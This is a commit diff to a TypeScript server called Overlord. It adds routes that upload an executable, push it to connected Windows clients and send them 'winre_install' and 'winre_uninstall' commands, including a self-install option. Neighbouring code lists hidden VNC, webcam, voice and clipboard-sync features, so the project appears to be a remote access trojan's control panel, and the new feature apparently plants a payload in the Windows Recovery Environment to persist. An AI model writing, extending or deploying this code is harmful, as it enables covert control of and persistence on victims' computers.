This commit is contained in:
KingKDot
2026-03-29 00:46:18 -05:00
parent 5a40164962
commit 677053546e
13 changed files with 1338 additions and 1 deletions
+2
View File
@@ -76,6 +76,8 @@ export enum AuditAction {
ENROLLMENT_DENY = "enrollment_deny",
ENROLLMENT_SETTINGS = "enrollment_settings",
ENROLLMENT_BULK = "enrollment_bulk",
WINRE_INSTALL = "winre_install",
WINRE_UNINSTALL = "winre_uninstall",
}
export interface AuditLogEntry {
+16
View File
@@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
import { handleBuildRoutes } from "./server/routes/build-routes";
import { handleAssetsRoutes } from "./server/routes/assets-routes";
import { handleDeployRoutes } from "./server/routes/deploy-routes";
import { handleWinRERoutes } from "./server/routes/winre-routes";
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
import { handleClientRoutes } from "./server/routes/client-routes";
import { handleMiscRoutes } from "./server/routes/misc-routes";
@@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
const DATA_DIR = ensureDataDir();
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
const WINRE_ROOT = path.join(DATA_DIR, "winre");
const TLS_CERT_PATH = config.tls.certPath;
const TLS_KEY_PATH = config.tls.keyPath;
@@ -213,6 +215,15 @@ type DeployUpload = {
const deployUploads = new Map<string, DeployUpload>();
type WinREUpload = {
id: string;
path: string;
name: string;
size: number;
};
const winreUploads = new Map<string, WinREUpload>();
type NotificationRateState = {
lastSent: number;
windowStart: number;
@@ -326,6 +337,10 @@ async function startServer() {
detectUploadOs,
normalizeClientOs,
},
winre: {
WINRE_ROOT,
winreUploads,
},
fileDownload: {
DATA_DIR,
secureHeaders,
@@ -508,6 +523,7 @@ async function startServer() {
handleUsersRoutes,
handleBuildRoutes,
handleDeployRoutes,
handleWinRERoutes,
handleFileDownloadRoutes,
handlePluginRoutes,
handleMiscRoutes,
+3 -1
View File
@@ -100,7 +100,9 @@ export type CommandType =
| "agent_update"
| "clipboard_set"
| "clipboard_sync_start"
| "clipboard_sync_stop";
| "clipboard_sync_stop"
| "winre_install"
| "winre_uninstall";
export type Command = {
type: "command";
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
handleUsersRoutes: RouteHandlerWithServer<TServer>;
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
notificationsConfig: TNotificationsConfig;
build: TBuild;
deploy: TDeploy;
winre: TWinRE;
fileDownload: TFileDownload;
plugin: TPlugin;
misc: TMisc;
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
if (deployResponse) return deployResponse;
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
if (winreResponse) return winreResponse;
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
if (fileDownloadResponse) return fileDownloadResponse;
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
@@ -0,0 +1,294 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { createUploadPull } from "./file-download-routes";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type WinREUpload = {
id: string;
path: string;
name: string;
size: number;
};
type WinRERouteDeps = {
WINRE_ROOT: string;
winreUploads: Map<string, WinREUpload>;
};
export async function handleWinRERoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: WinRERouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/winre")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/winre/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = path.basename(file.name || "upload.exe");
const id = uuidv4();
await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
const folder = path.join(deps.WINRE_ROOT, id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
const bytes = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(targetPath, bytes);
const entry: WinREUpload = {
id,
path: targetPath,
name: filename,
size: bytes.length,
};
deps.winreUploads.set(id, entry);
return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
}
if (req.method === "POST" && url.pathname === "/api/winre/install") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.winreUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
const destPath = `${destDir}\\${upload.name}`;
const pullId = createUploadPull({
clientId,
filePath: upload.path,
fileName: upload.name,
size: upload.size,
});
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http" as any,
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: upload.size },
}),
);
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_install",
id: cmdId,
payload: { filePath: destPath },
}),
);
metrics.recordCommand("winre_install");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_INSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, filePath: destPath }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_install",
id: cmdId,
payload: { useSelf: true },
}),
);
metrics.recordCommand("winre_install");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_INSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ useSelf: true }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_uninstall",
id: cmdId,
payload: {},
}),
);
metrics.recordCommand("winre_uninstall");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_UNINSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ clientId }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
return null;
}